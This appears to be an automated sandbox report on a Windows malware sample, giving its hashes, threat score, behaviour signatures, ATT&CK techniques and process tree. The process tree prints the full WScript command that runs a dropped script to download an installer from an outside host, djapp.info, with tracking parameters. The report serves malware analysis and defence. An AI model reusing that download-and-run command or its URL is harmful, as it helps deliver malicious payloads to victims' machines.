abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2

General

Target

abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe
Size

184KB
MD5

637487468a94dbb2b3bf499733cdb8b4
SHA1

8b79078d5bd4e925849af68f12b94fdd5d9cd4eb
SHA256

abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2
SHA512

cb429b9085ff8b4f3d6dec21b91875d33f3afc03fb8be3e2863b8d1ac5b71145f4803abefa1a63d3c8bedbba239a5992c645df34cbb6f5e466278d32fd63b6a6
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO36:/7BSH8zUB+nGESaaRvoB7FJNndn/

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow	pid	process
9	3184	WScript.exe
12	3184	WScript.exe
15	5044	WScript.exe
16	5044	WScript.exe
18	4804	WScript.exe
19	4804	WScript.exe
25	1424	WScript.exe
26	1424	WScript.exe
39	4684	WScript.exe
40	4684	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4244 940 WerFault.exe abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe

pid	pid_target	process	target process
4244	940	WerFault.exe	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe

Modifies registry class 1 IoCs

Processes:

abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	39	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe

description	pid	process	target process
PID 940 wrote to memory of 3184	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 3184	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 3184	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 5044	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 5044	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 5044	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 4804	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 4804	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 4804	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 1424	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 1424	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 1424	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 4684	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 4684	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe
PID 940 wrote to memory of 4684	940	abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe
"C:\Users\Admin\AppData\Local\Temp\abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:940

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDD74.js" http://www.djapp.info/?domain=ynfWHqgkuU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fufDD74.exe
2⤵
- Blocklisted process makes network request
PID:3184

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDD74.js" http://www.djapp.info/?domain=ynfWHqgkuU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fufDD74.exe
2⤵
- Blocklisted process makes network request
PID:5044

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDD74.js" http://www.djapp.info/?domain=ynfWHqgkuU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fufDD74.exe
2⤵
- Blocklisted process makes network request
PID:4804

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDD74.js" http://www.djapp.info/?domain=ynfWHqgkuU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fufDD74.exe
2⤵
- Blocklisted process makes network request
PID:1424

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDD74.js" http://www.djapp.info/?domain=ynfWHqgkuU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fufDD74.exe
2⤵
- Blocklisted process makes network request
PID:4684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 940 -s 1448
2⤵
- Program crash
PID:4244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 940 -ip 940
1⤵
PID:4228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fufDD74.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
memory/1424-136-0x0000000000000000-mapping.dmp

Download
memory/3184-132-0x0000000000000000-mapping.dmp

Download
memory/4684-137-0x0000000000000000-mapping.dmp

Download
memory/4804-135-0x0000000000000000-mapping.dmp

Download
memory/5044-134-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads